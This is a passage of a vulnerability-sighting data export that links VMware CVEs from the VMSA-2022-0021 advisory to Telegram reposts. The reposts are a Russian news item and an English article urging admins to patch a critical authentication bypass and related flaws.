\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-29T00:00:38.740785Z"}, {"uuid": "d26c976d-53f0-4af2-a552-2b35d4a04870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-29T00:00:38.771622Z"}, {"uuid": "3e6748c6-b086-4225-89a7-93732a7cfdf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-29T00:00:38.846484Z"}, {"uuid": "c8b6e764-b9b2-4340-8c3a-d870c41e8c62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-01T20:01:27.373073Z"}, {"uuid": "5839d369-e1fa-439e-baee-8684bb35ea4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-01T20:01:32.033662Z"}, {"uuid": "32ad899a-f6d0-4c68-9aac-2ff6c722bf90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31664", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-01T20:01:32.380279Z"}, {"uuid": "475cef86-9c7c-44f7-8763-c9cac48f7e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace 